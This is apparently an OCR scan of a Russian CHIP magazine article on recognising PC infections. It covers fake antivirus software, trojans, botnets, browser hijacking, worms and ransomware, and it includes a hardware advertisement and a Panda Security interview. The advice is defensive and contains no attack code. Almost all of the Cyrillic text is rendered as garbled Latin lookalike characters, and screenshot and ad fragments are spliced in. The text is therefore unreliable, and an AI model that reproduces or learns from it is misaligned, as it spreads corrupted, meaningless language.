Kocib CBbirne 3 T6awi 6ea paaSweHMa flucKOBoro npocTpaHcrea na pa3Ae^nw f npeflociae/inn eo3Mo>KHocTb MaKcuiwanbHo atfi^eKTUBHo ticnonbaosarb 
pecypcbi HaKonmenH. 


flsoviHaa 3aii4HTa ot c6oeB BIOS 


TexHO/iornfl DualBiOS™ 
m TpafluuuoHHbiPi BapnaHT BIOS 


KaK^biTb ccnw BIOS c6om? 

Hew anaKowa cwTyaiunfi, KorA^ bo spewfi npouenypw o^HOBneHwn BIOS no KaKoft+nufto rrpHHMHe 
npo^jOLuen c 6 om? Wnxi nax eaw, HanpuMep, tskoh c/iy^an - nocne HHCfafmnuwvi v\ etooed cmepefl- 
Horo n'p«fl 03 weMHB BMUCHnerca, i jto mmn EtOS HH^^urpoe^Ha enpycou, kotopww nanucKTbioyHM- 
4 TOMMn mvikp>oxoa 7 3 nan o noflo&Hbix tnyM&nx He noHaaiwuixe, bm, HaeepHnKa, npejjctci&nfteTe, na- 
cxontixo rpyAHO pemnib npo 6 newy, nocnonuny xoMne.iOTep c nospe^Ae^HOW MC BEOS npocTo He 
cnocofien urpyimbcn. 


HS7A-UD3H 


H67MA-UDZH 


He/M-UDZH 


HS7M-DZ 


y03: KflAMAC (347)291 -21 -IZTiOMeHb: ApceH3n+ (3452)46-47-74 Men^muCK. Spark Computer (351)775-19-19. Bn^ieocroK. flHC (4232)30-04-54, All 
(4323)20-50-20, Kb to (4232)22-17-07 Hoboch6mpck: Level (333)21 2-OIMJ5: rOTTM (303)362-00-44. TexHOcmn (363)212-53-53 KpacHoapcx. CxapKoM 
(391)249-11-11. Tomck: Ctok (3622)554-554. Keweposo. KoMnbiOTepbbie CwcreMW (3642)568588.0^01!. PKTM-MapKer (3812)23-05-05, 


www.gigabyte.ru 


KjnoHeBbtenpeiuviyLAecTQa 41 ^ QBAnnf DhIbkh- 


i»l 

Alt HtthpM rtUH HflM BlPS W| 

ob^nNitu til Hio^xyn iiujiiy or aiipyf hui «riK 

Hat 

fUtMItftMiiCMM t®wrt«5iuu«|it BIOS KI 

pclipimjii KDnnn 1 tlryHMt FHMptnmtwnA fla 

MKP.pORC.flJ OCiMOHHOM BIDS 

Hat 
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J0PM03MT I1K? 

JlGHMM 
3(|)t|3eKTMBHO 

Ecjim npw padoTe b Windows Bbi nocroflHHO 
CTa^KMBaeTeCb C KaKMMM-TO Henpi/lflTHOCTfl- 
mi/i, He cnewme Bi/iHMTb bo BceM Microsoft. 
llpi/iHi/iHa MO>KeT 6biTb coBceM b flpyroM — 
CHIP paccKaweT o Tuni/iHHbix npofineiviax, 
Bbi3biBaeMbix xaKepcKMMM aTaxaMM. 


o)CHIP DVD 

MHO>KeCTBO yTMJll/IT npo- 
ti/ib Bcero MHoroo6pa3Mfl 
yrpo3 — Hami/i OecrmaT- 
Hbie nporpaMMbi i/i36aBHT 
Bac ot Bi/ipycoB, nepBew, 
tpoahob, Keti/iorrepoB v \ 
MHon/ix flpyrnx Henpw- 
5iTHbix BeiueM. Tame Mbi 
pa3MecTi/uii/i Ha Ancxe 
no fl/lfl OHl/ICTKM BMHHeC- 
Tepa i/i yxoAa 3a hum. 


HoroHHCJieHHbie nojie3- 
Hbie nporpaMMbi, a Tax- 
xe caMa onepaitHOHHan 
cncTeMa, 6e3ycjiOBHO, 06- 
jiemaiOT Hainy noBce- 
AHeBHyiO 3CH3HB, HO npH 3TOM MO- 
ryT npeflCTaBjinTb cepbe3Hyio yrp03y 
AJin IIK n nojib30BaTejibCKHx ^aH- 
hbix, Tax xax H3o6njiyiOT yn3BH- 
MOCTHMH B CHCTeMe 6e30naCH0CTH. 
Taxan CHTyaitnn Ha pyxy xaxepaM, 
xoTOpbie exeflHeBHO BbinycxaiOT b 
HHT epHeT 6ojiee 60 000 hobbix bh- 
pycoB. 3 to noATBepxAaiOT h ^aHHbie 
xoMnaHHH Panda Security, corjiac- 
ho xoTOpbiM xaaytbiH BTOpoit nojib- 
30BaTeJIb XOTH 6bl OflHH pa3 B XCH3HH 
CTajixHBajicn c 3apaaceHHeM xoMnbio- 
Tepa BpettOHOCHbiM 110. CnMnTOMa- 
mh noaodHon npoOjieMbi hbjhhotch 
B bicoxan Harpy3xa Ha CHCTeMy, mqr- 
jieHHoe coettHHeHne c HHTepHeTOM 
h noHBjieHne coodnteHHH o Heo6biu- 
hbix onfflGxax. 

Ho npeayje ueM npHCTynHTb x ycT- 
paHeHHIO HenpHHTHOCTeH, BbI3BaH- 
hbix xaxepcxHMH aTaxaMH, Heo6xo,ztH- 
MO HCXJHOUHTb BepOHTHOCTb ApyTHX 
npHHHH, TaxHx xax ohih6xh b no 
hjih npoOjieMbi c ApanBepaMH. B otom 
BaM noMoryT coBeTbi H3 flaHHoit cTa- 
tbh, a Taioxe nporpaMMbi, pa3MemeH- 
Hbie Ha HarneM fliicxe. 


www.ichip.ru CHIP I OEBPAJlb 201 1 


CP0T0: K0MnAHI/ll/l-nP0l/l3B0fll/ITEJll/l; ERIC SIMARD/IST0CKPH0T0.C0M; FREDY SUJ0N0/F0T0LIA.C0M 
I/1J1J1IOCTPAI4H51: ESTHER SCHENK-PANIC 


KoMnbioTep npe/iynpejKflaeT 
o 3apa>KeHMii: noAfle/ibHbm 
amuBupyc? 


Bepo^THQCTb aiaKM | h^ 3KA^ | cPbiiHM paaiMMi 
BcroibiBaiomHe oxHa coodmaioT BaM 
O TOM, HTO KOMm>K)Tep njioxo 3a- 
mHiaeH OT BHpycoB hjih y>xe 3apajxeH. 
Ho no^odHaii 3a6oTa MOJxeT HMera 
HenpHHTHBie nocjieACTBHH rjw onepa- 
IJHOHHOH CHCTeMBI. 

nP0BEPKA3AmMTbl. Bbi juo6HTe ocTptie 
omymeHHH h nyremecTByeTe no Cera 
6e3 6paH^May3pa n aHTHBHpyca? B 3 tom 
cjiynae npejiy npe>Kjie h hh Moryr 6 bitb 
o6ocHOBaHHBiMH. HanpHMep, Kor^a 
LJemp o6ecneneHHH deaonacHOcra Win- 
dows peryjMpHO coodmaeT 06 OTcyr- 
CTBHH 3aLLXHTHbIX npOTpaMM. YCTaHO- 
BHTe aHTHBHpyc, JxejiarejibHO xoMMep- 
necKHH n oSjraaaioiixHH bbicoxoh Ha- 
AexHOCTbio. Cbokhc Bepcnn nonyjinp- 
Hbix naxeTOB hmciotch Ha HaineM DVD. 


OTPAMEHI/IE ATAK nQflflEBbHQrQ AHTM- 
BI/IPyCA. K coxajieHHio, He Bee roTOBbi 
miaraTb 3a 6e3onacHOCTb, TeM 6ojiee 
hto H3 HHTepHeTa HecjioxHO cxanara 
6ecHJiarabiH aHTHBHpyc. H He hckjho- 
neHO, hto oh 6yneT padoTara onenb 
CTapaTejibHO, xajx^bie a Be MHHyrbi 06- 
HapyacHBan HOBbie HH(|)exu;HH. 

Tairae nporpaMMbi nyraiOT nojib30Ba- 
Tejien, ckjiohhh hx k noxynxe aopororo 
h a6cojHorao 6ecnojie3Horo 3amHT- 
hoto no hjih onpeaejieHHOMy noBe- 
aeHHio, KOTOpoe ho3bojiht xaxepaM 
coBepniHTb 6ojiee onacHyio aTaxy. Kax 
noKa3biBaeT npaxraxa, 3Ta 6n3Hec- 
Moaejib pa6oTaeT BnojiHe ycnenmo. 

BoJIbHIHHCTBO nOJUIHHHblX aHTHBHpy- 
cob cnoco6Hbi pacno3HaBaTb h yaajiHTb 
noaaeJiKH. B npOTHBHOM cjiynae cjieay- 
eT H3ynHTb nanxy aBT03anycKa, peecTp 
h Bee BpeMeHHbie anpeKropHH Ha npea- 
MeT c OMHHTe jibHbix 3anHceii h CTepera 
hx b cjiynae odHapyaceHHH. Taxace mo- 
aceT noHaao6HTbcn ycTpaHeHHe H3Me- 

HeHHH b CHCTeMHbix cjjaiijiax Windows 
c noMombio ycTaHOBOHHoro juicxa OC. 
npome Bcero boc non b30 BaTbca cJjyHx- 
H,HeH BOCCTaHOBJieHHH, BbI3BaTb KOTO- 
pyio mojkho npH 3arpy3Ke c aaHHoro 
HOCHTeJIH. npH 3TOM BCe a^HCTBHH CJie- 
ayeT BbinojiHHTb b 6e3onacHOM peacHMe. 
Ecjih bbi He yBepeHbi, nBjineTCH jih (jjanji 
HedjiaroHaaejKHbiM, aoBepbTe ero oueH- 
xy KOMaHae H3 VirusTotal. KjineHT 3 to- 
ro cepBHca, HMeiomHHCH Ha HarneM 
DVD, no3BOjmeT 6biCTpo 3arpy3HTb 
aaHHbie ajih npOBepKH. 



Miiieuxa 06Hapy>KHTb ceieByio aKTi/iBHOCTb, o 6 yc/iOB/ieHHyio pa60T0ti TpoBHa, mo>kho b flHcneinepe 
3 a,qaH. flpyrmvi ci/imiitomom 3 apa>KeHi/m ABJiaeTCfl noBbiweHHafl 3 arpy 3 Ka peHTpa/ibHoro npopeccopa 


MeflneHHoe coeni/memne: 

TpOflH? 


BeppflTHOCTb aiaxi/i 


| HI/I3KA51 


CPEflHflfl 


BbICOKAfl | 


noceiaeHHe caiiTa www.ichip.ru ao- 
CTaBjiHjio 6bi orpOMHoe yaoBOJibCTBHe, 
ecjra 6bi He Hpe3BbinaHHO aojiran 
3arpy3Ka CTpaHHu;. H mbi b 3tom He 
BHHOBaTbl — npHHHHOH MOTyT 6bITb 
npodjieMbi MapmpyTH3aaHH hjih ae- 
HTeJIbHOCTb TpOHHa. 

nQBTQPHAB YCTAHQBKA CQEfll/IHEHI/lfl. 

3aBepniHTe ceaHC h nepe3anycra- 
Te 6pay3ep. Tax bbi 6yaeTe HanpaB- 
jieHbi no apyroMy MapmpyTy, hto 
nacTO BjiHHeT Ha ckopoctb. Ecjih 
yjiynmeHHH He nocjieayeT, npHHHHa 
MOxeT 6 bitb b npodjieMax co cto- 
poHBi npOBanaepa hjih HecoBMec- 
THMOCTH aOnOJIHeHHH. Ho CKOpee 
Bcero nK 3apaaceH. 

BblCJ1E)KI/IBAHI/IE TPQflHA. 3 T a pa3HO- 
BHaHOCTb BHpycoB padoTaeT xax o6bih- 
Hoe no juw yaajieHHoro ynpaBjieHHH 
KOMnblOTepOM . 3jIOyMBIHIJieHHHK, 3a- 


*7? SystemDefender Installer x 


SystemDefender 1 

Welcome to the installer! 

This program will install SystemDefender on your PC. 

By clicking the continue button bellow you are accepting 
our Jer ms-and Conditio ns, 


Continue » 


nporpaivuvia SystemDefender He HB/iaeTCfl 
HacToaiamvi aHTi/iBi/ipycoM — sto noflfle/iKa, 
KOTopaa dapaeTca HaBB 3 aTb nojib 30 BaTe/iK) 
6 ecnone 3 Hbie 3 ami/iTHbie ynun/iTbi 


xBaTHBiHHH Bam nK, nojiynaeT Tairae 
jxe npaBa h bo3mojkhocth no padoTe 
c hhm, xaioie ecra y Bac. 

/],jih odHapyjKeHHH BHpyca 3aBep- 
niHTe padoTy Bcex nporpaMM, koto- 
pbie Hcnojib3yiOT HHTepHeT-coean- 
HeHHe (6pay3ep, hohtobbih KjineHT 
HT.a.),H 3anycraTe ^ncneraep 3aaan 
Windows. Ecjih Ha BKjiaaxe «CeTb» 
OTodpajKaeTCH HH(J)opMau;H5i o cepb- 
e3HOM TpacjiHKe, cxopee Bcero oto 
CBH aeTejibCTByeT 06 aKTHBHoii pa- 
6oTe TpOHHa. noao6m>ie BHpycbi 3a- 
nacTyio HMeiOT njioxoe xanecTBO hc- 
nOJIHeHHH H COCTOHT H3 IjeJIbHblX 
6 jiokob, hto odycjiaBjiHBaeT Bbicoxyio 
Harpy3xy Ha npoaeccop, HBjnnoiayio- 
CH OaHHM H3 CHMnTOMOB HanaaeHHH. 

Ot TpOHHOB MOJKHO H36aBHTbCH C 
nOMOiabK) COBpeMeHHbIX aHTHBHpy- 
cob. KpOMe toto, hto6bi rapaHra- 
pOBaHHO ycTpaHHTb Taxoro poaa 
BpeaoHOCHoe no, Bocnojib3yHTecb 
nporpaMMoii TrojanHunter (ecra Ha 
HarneM ancxe). 


KoMnbHnep couien c ywia: 

«Becejibm» Bupyc? 


BepofiTHocTb aiaKM I h^iska^ | cPbiiH^H 
PadoHHH ctoji nepeBepHyT BBepx ho- 
raMH, AHajioroBbie oxHa coflepJxaT 
coodmeHHH Ha HenoHHTHOM H3bixe, 
a H3 HayiHHHXOB AOHOCHTCH 3JIO- 
pa^HbiH CMex — xto jxe otot HeH3- 
BeCTHBIH HiyTHHX? 

flQKA3ATEJ1bCTBQ flPQPblBA 3Ami/ITbl. 

B noflodHOH CHTyaijHH mojkho 


- I - * D ^ 
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ZeuS Tracker :: statistic 

Here are some statistics about the ZeuS crimeware. Note: You need the Adobe Flash olaver to view the statistics. 


# of new ZeuS hosts by month 



Apivmfl 30 m6m Ci/icieMa c/ieweHMfl ZeuS Tracker noKa3biBaeT, CKO/ibKo KOMnbKnepoB eweiviecflHHO 
CTaHOBaTca ynacTHi/iKaMM 6oT-cen/i ZeuS. Bo3mo>kho, cpefln hmx ecTb n Bam 


cpa3y hcxjhohhtb BepOHTHOCTL npo- 
rpaMMHblX 0 niH 60 K H 3aHHTbC5I pac- 
cjieflOBaHHeM. OneBHflHO, hto Barn 
KOMnbioTep 3apaxeH «BecejibiM» Bupy- 
com, — oerajiocb ycTaHOBHTb noApo6- 
HOCTH H HaHTH cpettCTBa 6opb6bi. 

IlepBbiM rqjiom cjieflyeT o 3 Haxo- 
mhtbc x c xypHajiOM co6bithh Win- 
dows. B pa3flejie «Be3onacHOCTb» bbi 
yBHflHTe, kto h xor^a nojiynaji ro- 
CTyn k BarneMy KOMnbiOTepy. 06 Ha- 
pyxcHB noA 03 pHTejibHoe hmh, nocMO- 
TpHTe b «IIpHji 03 ceHH 5 ix», Kaxoe no 
npH 3 tom 6buio ycTaHOBjieHO . KpOMe 
Toro, nporpaMMa USBDeview no3BO- 
jiaeT bbihchhtb, He nonaji jih BHpyc 
Ha Bam nK co cbeMHoro USB- 
HOCHTejiH, a Tax xe y3HaTb ran #aH- 
Horo HaKonHTejiH. 

KQHEM QjyTKAM. MadaBHTbCH ot 6e3- 
BpeAHOH «BecejiOH» nporpaMMbi He- 
cjioxcho: nocjie nojiyneHHH CBe^eHHH 
o Hen H3 xypHajia co6bithh Windows 
npocTO yztajinre Bee ee KOMnoHeHTbi. 
Bjiaro^apn coBpeMeHHbiM amHBHpy- 
caM Ha noAodHbie «p 03 birpbinra» mox- 
ho He odHxaTbcn. 


Kon/mbiOTep padoiaeT oieitb 
Me/tneHHo: dOTHeT? 


Bepo^THQCTb aiaKM 


| HI/I 3 KA 51 


CPEflHflfl 


BblCOKAfl| 


Ha 3arpy3Ky Windows yxoflHT Hejiaa 
BeHHOCTb, m h npHjioxceHHn 3 anycxa- 
lOTcn c Taxon >xe CKopocTbio. CncTeMa 
npocTO 3 aMycopeHa hjih b Hen noce- 
jihjich onacHbiH BHpyc? 

QHMCTKA )KECTK0rQ fll/ICKA. CnjibHan 
(J)parMeHTaiiHn, odHjine HeHyxcHbix 
4>aHJiOB h He^ocTaTOK oneparaBHOH 
naMHTH T 0 pM 03 iiT padoTy onepaitn- 
OHHOH CHCTeMbI H npHJIOXeHHH. H 3 - 
6aBbTecb ot Bcero dajuiacTa c noMO- 
nibio yrajiHTbi CCleaner, a b 3 axjno- 



neHHe ocymecTBHTe AecjiparMeHTa- 
itmo, Hcnojib3yn Defraggler. nocjie#- 
hhh nporpaMMa, b nacraocra, npOBe- 
pneT TexHnnecKoe cocTOinnie xecT- 
koto flHCKa. 06 a cpettCTBa bbi HaifaeTe 
Ha HameM DVD. nocjie Bcex 3rax 
fleHCTBHH nepe3anycraTe OC, hto- 
6bi pa3rpy3HTb oneparaBHyio naMHTb. 
EcJIH CKOpOCTb He H3MeHHTCH, TO 
ctoht noHCKara b CHCTeMe Henpome- 
Hbix rocTeit. 


PyTKMTbl MOryT I 
BK/iiOHMTb earn | 
I1K B 30Nl6l4-CeTb 


Q5HAPy)KEHI/IE BQT-TPQflHA. flaHHbm 
ran Bpe^OHOCHoro no npeBpanja- 
eT KOMnbioTep b 6e3BOJibHoro pa6a. 
nocjie 3apaxeHHn oh BMecTe c ttpy- 

THMH XepTBaMH 6yZjeT BbinOJIHHTb 
xoManzjbi, nocTynaiomHe ot Bjiatjejibiia 
6oT-cera. EcTecTBeHHO, oto cxa3biBa- 
eTCH Ha npOH3BOflHTeJIbHOCTH nK. 

HT06bI BBIHCHHTb, He 3T0T JIH TpOHH 
HBjiHeTcn npHHHHOH npo6jieM, CHa- 
najia 3axpoirre Bee nporpaMMbi — 
A axe Te, KOTOpbie pa6oTaiOT b 4>oho- 
bom peaoiMe. 3aTeM 3anycraTe ^hc- 
nemep 3aflan h nepeitznrre Ha Bxjianxy 
«BbiCTpOAeHCTBHe». npH 6ojibinoM 
3HaneHHH «3arpy3KH U,n» HyxcHO 
6 htb TpeBory: oneBH^HO, hto b 4>oho- 
bom pexHMe KOMnbKDTep BbinojiHiieT 
noAoapHTejibHbie flencTBHH, KOTOpbie 
bbi eMy He nopynajiH. 

IlocKOJibKy 6oT-TpoHH nacTO He pac- 
no3HaeTCH aHTHBHpycaMH h 6paH,a- 
MayspaMH, noMHMO o6biHHoro naxeTa 
yrajiHT jxim 6e3onacHOcra Heo6xo£H- 
mo Hcnojib30BaTb cneiinajibHbie npor- 



paMMbi, Tairae xax Radix Antirootkit 
(ecra Ha HaineM flncxe). jih 6ojiee 
TmaTejibHOH npOBepxn jiynrne Bcero 
3 anncaTb ee Ha 3 arpy 30 HHbiii hoch- 
Tejib, HanpHMep USB-«(})jienixy», h 
OTxpbiTb c Hero. B nporaBHOM cjiy- 
nae pa6oTe Radix Antirootkit 6yaeT 
MeniaTb 4 )aHJiOBaH 3antHTa Windows. 


6pay3ep pa6oTaeT 
caM no ce6e: 3axBaT? 


Bepo^THQCTb aiaKM 


| HI/ 13 KA 8 


CPEflHaa 


BbICOKASI | 


Bpay3ep caMOCTOUTejibHO 3anycxaercH 
h OTo6paxaeT onpettejieHHbiii caHT. 
Hjih >xe bo BpeMH ceccnn OTxpbiBaeTca 
cpa 3 y Hecxojibxo oxoh. 

M3MEHEHI/IE flOMALUHEM CTPAHMUbl. 


B Internet Explorer xoMnaHHH Micro- 
soft ycTaHOBHjia b xanecTBe CTapTO- 
boh CTpaHHijbi http://go.microsoft. 
com. noxa bbi He noMeHneTe ee b 
MeHK) «CepBHC | CBOHCTBa o6o3pe- 
BaTejiH | 06ntHe», nocjie 3anycxa 6pa- 
y3ep Bcer^a SytteT OTxpbiBaTb ^aH- 
hbih caiiT. Tohho Tax xe CBexHH 
Firefox Bcer^a nepexo^HT Ha CTpa- 
HHiiy Mozilla. 3th npoiteccbi npetty- 
CMOTpeHbl npoH3BOttHTejieM. Ecjih 
xe b oxHe 6pay3epa noHBjineTCii ra- 
XaHTHBIH XOHTeHT HJIH BCnjIbIBaiOT 
oxHa, npHrjiamaioHtHe ycTaHOBHTb 
nott03pHTejibHbie yrajiHTbi, 3HanHT, 
ero 3axBarajiH. 


PA3Q5J1 AHEHI/IE flQXI/imEHI/l^. MHorne 


aHTHBHpycbi, a Taxxe nporpaMMa 
SpyBot Search & Destroy pacno3Ha- 
k)t Bpe^OHOCHoe no fljin 3axBaTa h 
6eccjieflH0 ero yzjajnnoT. B cjiox- 
hbix cjiynanx Hcnojib3yiiTe HijackThis 
(o6e yrajiHTbi ecra Ha HameM DVD). 
nocjieflHHH aHajiH 3 HpyeT npoitecc h 
C 03 AaeT jior-(jiaHji, xoTOpbin bbi mo- 



MCypHan co6biTMM Windows noMo>KeT OTC/ie- 
,qi/iTb flewcTBHa nporpaMM m nojib30Baie/ieM 
Ha BarneM flK 
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KaK Bbic/ieflHTb xaKepa 

y dpaHflMayapa ecTb flonojiHmejibHbie bo3mo>khoctm: oh noMO>KeT 
HanacTb Ha coeA rmu, 3apa3MBiiJnx Barn KOMnbWTep tpohhom. 


KaK to /1 bKO amuBupyc o6Hapy>KMBa- 
eT Tporm, oh cpa3y yAa/iaeT ero c 
>KecTKoro flMCKa. 3 to MewaeT oxoie 
Ha xaKepoB: Bbi TaK HMKorfla m He 
y3Haeie, KOMy nepeflaBa/ia AanHbie 
BpeAOHOCHaa nporpaMMa. Rnn pacc/ie- 
AOBaHMfl C03AaMTe BTOpyfO cmc- 
TeMy M/l M BMpTya/lbHblM n K M M3 
331AMTHOM yTM/1 MTbl 3anyCTMTe 6paHA" 
Mayap, KOTopbm flB/ifleic/i Ba>KHbiM 
MCTOHHMKOM CBeAGHMM. 

CQ3HATEJ1bHQE 
3APA)KEHI/IE KQMflbKlTEPA 

Hio6bi 33M3H MTb xaKepa Ha nK-npM- 
MaHKy, npe>KAe Bcero Heo6xoAMMO 
MHC()MAMpOBaTb KOMnblOTep TpOflHOM. 
fl/in 3Toro, k npmviepy, OTKpoMTe nMCb- 
MO C nOA03pMTe/lbHblM B/lO/KeHMeM. 
Cpa3y noc/ie 3apa>KeHM5i TpoaH HaHHeT 
nepecbmaib AaHHbie CBoewy B/iaAe/ib- 
Hy, m 3to MrHOBeHHO 3aMeTMT 6paHA- 
wayap. B ero /ior-c[)aMJie no5i B51TC51 CBe- 
AeHM5i o tom, KaKaa nporpaMMa, KorAa, 


nepe3 KaKOM nopT m no KaKOMy IP- 
aApecy oinpaB/i/uia m Hcf/opMaitM 10 . 
Ec/IM Bbl BMAHTe HeM3BeCTHblM c(DaM/l 
DLL mi m 3anMCb BpoAe «Win32.troj», 
arpeccop o6Hapy>KeH. 

3J1QyiVlblUJ1EHHI/IK B J1QBYUJKE 

no IP-aApecy xaKepa mo>kho ycraHo- 
BMTb ero MecTono/io>KeHMe. B btom BaM 
noMO>KeT nporpaMMa VisuaLRoute c Ha- 
niero DVD (triaL-BepcM/i), o6/iaAafoiAan 
BnenaT/iriKDiAeM rpacf/M kom : OHa Har/i/iA- 
ho npo/io>KMT MapiupyT. 

I/IH(D0PMI/IP0BAHI/IE FlPOBAMflEPA 

B 6 o/ibLUMHCTBe c/iynaeB VisuaLRoute 
CMO>KeT coo 6 iAMTb BaM to /1 bKO aApec 
KpynHoro npoBaMAepa. Ho noc/ieA- 
HeMy coBepiueHHo HeBbiroAHO, HTo 6 bi 
nepe 3 ero cepBep me/i Tpac|)MK Tpo- 
/iHa. rioAe/iMTecb c hmm pe 3 y/ibTaia- 
mm Baiuero pacc/ieAOBaHM/i — cepb- 
e 3 Hbm npoBaMAep HeMeA/ieHHo 6 / 10 - 
KMpyeT xaKepa. 


xceTe CKonHpoBaTL b TeKCTOBoe nojie 
Ha caHTe www.hijackthis.de/en. 3aTeM 
HaxMHTe Ha «Analyze». nojiyneHHan 
HH(j)opMaiiH 5 i noMoaceT yAajiHTB Bpe- 
AOHOCHOe no. 


llaKei KOMimeKCHOM 
3aiUMTbl 0TKa3blBaeTCfl 
pa6oTaTb: nepBb? 


Bepo^THQCTb aiaKM 


| H 1 /I 3 KAA 


CPEAHflfl 


BbICOKASq | 


«Pa6oTa 6paHAMayapa Windows 6 bi- 
jia 3aBepmeHa», — coodmaeT onepa- 
iIHOHHan CHCTeMa, ho nojiB30BaTejii> 
HHnero A-Jin 3Toro He Aejiaji. 3 to npo- 
cto c6oir hjih cjieACTBHe AenTejiBHO- 
CTH BpeAOHOCHOTO ITO? 
nPQBEPKA 3ABI/ICI/IMQCTI/I. fljin HOp- 
MajiBHoii padoTBi dpaHAMayapa En- 
dows oneHb BaacHa cjiyxda «Bbi 30 b 
yaajieHHBix npoHeayp» (RPC), koto- 
pa h odjia^aeT nenajiBHoii penyraijH- 
en no BHHe nepBn no# Ha3BaHHeM 
Blaster. Ecjih BCJieACTBne AenrejiBHO- 
cth nocjieAHero CTapaTejiBHan npor- 
paMMa odecneneHHH 6e3onacHOCTH 
OTKjnonaeT cjiyxdy RPC, to caMa 
nepecTaeT padoTaTB hjih cymecTBeH- 
HO OrpaHHHHBaeT (jiyHKItHOHaJIBHOCTB. 


Taxyio 3aBHCHMOCTB HHor^a mojkho 
H adjnoAaTL h b cjiynae c HMeiomHMHCH 
b npo^axe naxeTaMH ymjiHT jxim kom- 
njieKCHOH 3 amHTBi. KorAa H 3 CTpon 
BbIXOAHT XOTH 6bl OAHH KOMnOHeHT, 
cjieAyeT bchomhhtb o noAodHoii cbh 3 h. 
JThhib b caMBix peaKHx cjiynanx pent 
hact 06 oObihhom nporpaMMHOM c6oe. 
Ecjih ace OTKa 3 BiBaiOT Bee KOMnoHeH- 
TBI npHJIOJKeHHH HJIH OAHOBpeMeHHO 
HeCKOJIBKO 3 aiIIHTHBIX yTHJIHT, MOJKHO 
c yBepeHHOCTBio roBOpHTB o padoTe 
BecBMa HenpHHTHoro BHpyca. 

QXQTA HA HEPBfl. Bpe^OHOCHoe no THna 
W32. Sober pacnpocTpaHHeTCH c noMO- 

LHBK) aapeCHOH KHHra nOHTOBOTO KJIH- 
eHTa. HanpHMep, nojiB 30 BarejiB nojiyna- 
eT nncBMO ot noApyra c TeMoii «R Te 6 n 
jho 6 jho» h BjTOJKeHHeM heart.jpg. Kax 
TOJIBKO JKepTBa OTKpBIBaeT pHCyHOK HJIH 
aBTOMaTHuecKH 3 anycKaeTC 5 i (J/yHKHHa 
npeABapHTejiBHoro npocMOTpa, nepBB 
BHeApaeTCH Ha xcecTKHH ahck, MacKnpy- 
eTCH nOA Ba>KHBIH CHCTeMHBIH (JiaHJT H 
TpedyeT ot 3 auiHTHBix nporpaMM npe- 
KpaTHTB padoTy. TaKHM odpa 30 M oh 
odecneHHBaeT bo 3 mojkhoctb 3 arpy 3 KH 
ropa 3 AO dojiee onacHoro no. 


A ■» a- 


10 : 10:10 

30.01.3010 


r 



CnpaBHTBCH co 3 JiOBpeAHOH npor- 
paMMOH noMOxeT ymjiHTa Stinger c 
Hainero DVD. OAHaKO ynTHTe, hto OHa 
He cnocodHa 3 aMeHHTB aHTHBHpyc. 
Ecjih nepBB ycneji 3 arpy 3 HTB Apyrne 
nporpaMMBi, dopOTBcn c hhmh cjieAyeT 
b HHAHBHAyajiBHOM nopHAKe. 


I BblCOKA^l 


noBpeiKfleHMe namibix: 

nporpaMMa-BbiMoraie/ib? 

Bepo^THQCTb aiaKM I hl/iskasj Ba 
Ythjihtbi ajm onTHMH 3 au;HH h npor- 
paMMBi, KOTOpBie HaXOAHT AydjIHpy- 
loiAHecn (j/anjiBi, oneHB TmaTejiBHO 
HaBOAHT nopHAOK, no 3 TOMy nepeA 
HcnojiB 30 BaHHeM noAodHoro no He- 
odxoAHMO AejiaTB pe 3 epBHBie Koroni. 
OAHaKO HH OAHO H 3 3 THX npHJIOJKCHHH 
He CTaHeT yrpo>KaTB BaM yAajieHHeM 
Bcex AaHHBix h He noTpedyeT 3 a hx 
coxpaHHOCTB nepenHCJiHTB 10 000 pyd- 
jieii Ha HeH 3 BecTHBin cneT — oto npe- 
poraTHBa nporpaMM-BBiMoraTejieii. 
5E3QnACHAB ODIMMidMUMR Kom- 
MepnecKHe npHjioaceHHH, Taxne xax 
TuneUp Utilities, cpa 3 y nocjie 3 anyc- 
Ka npeAJiaraiOT co 3 AaTB aBapnitHBiii 
3 arpy 30 HHBiii ahck. B cjiynae c dec- 
njiaTHBIMH npOAyKTaMH, TaKHMH, Ha- 
npHMep, KaK CCleaner, BaM npHAeTCH 
CaMOCTOHTeJIBHO n 03 adOTHTBCH O CBO- 
HX AaHHBIX, nOCKOJIBKy B HX COXpaH- 
HOCTH He MOJKeT dBITB CTonpoiieHT- 
hoh yBepeHHOCTH. HHorAa 4 >aiiJiBi ne- 
peCTaiOT HHTaTBCH H H 3 - 3 a (J)H 3 HHe- 
CKHX oniHdoK jKecTKoro AHCKa. Ecjih 
deAa Bce-TaKH cjiynnjiacB, a pe 3 epB- 
hoh KonHH HeT, Ha noMoniB 


. 



j |M cAf ee® S tinger Version 1 0. 1 .0.335 built on Aug 5 2010 
llcopy sight © 201 0 McAfee Irea All FEigMs Reset ved 
IrVirus date i\k vl POO created on Aug 5 2P1 0- 
I Ready to scan for 4342 vsuses, trojans and variants. 

0 X 0 THMK npM 3 apa>KeH H 1/1 >KeCTK 0 r 0 AHCKa 
n pocKam/i pyiiTe ero c noMOLAbio yTMHUTbi 
Stinger. OHa cnocodHa HaMTi/i n yAa/imb 
6o/iee 4000 Bi/ipycoB m nepBew 
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TEMA HOMEPA: T1POBEPKA EE30T1ACH0CTM 


MHTEPBbK) 

«COBPEMEHHblE 
BMPYCbl CJ10>KH0 
OBHAPY)KMTb» 

/lync KoppOHC, TeXHMHeCKMM 
AnpeKTop Panda Security 


KaKiiM o6pa30M b Hacroamee BpeMB 
pacnpocrpaHfleTCfl BpeflOHocHoe 
nporpaMMHoe o6ecneqeHMe? 

Haiue Bcero ncno/ib3yiOTca Bnpycbi, 
pa6oTafoiAMe no TexHO/ioruu Drive- 
by-Downloads, — a nn yciaHOBKM 
mm He Tpe6yeTca agmctbmm no/ib- 
30BaTe/ia. TaK>Ke pacnpocipaHeHbi 
MeTOAbl COAMa/lbHOM m H>K eHepM M, 
HanpMMep c^a/i biu m b bie cneia, mh- 
cjDopMaAMa o KOTopbix pacnpocrpa- 
HaeTca no nome, n KOMMeHTapMM 
b Facebook mjim Twitter, ckjiohh- 
foiAMe aApecaTOB k 3anycKy onac- 
HOTO npnjlOKeHMfl. 

KaK y3HaTb, mo n K 3apa>KeH? 

BpeAOHocHoe no, npeAHa3HaHeHHoe 

AHA Kpa>KM MHCjDOpMaUMM, CJ10>KH0 
o6Hapy>KMTb. 1/lHane o6ctomt Ae/io 
c c(Da/ibiuMBbmM aHTMBMpycaMM: 
cbommm npeAynpe- 

WAeHMflMM OHM BBO- 

AflT b 3a6.ny>KAeHMe 
HacneT onacHocTM. 

HacKO/ibKO 6e30- 
nacHa Windows 7? 

OHa noABepraeTC5i 
3apa>KeHMK) HeMHoro 
pewe, ho Bee >Ke He 
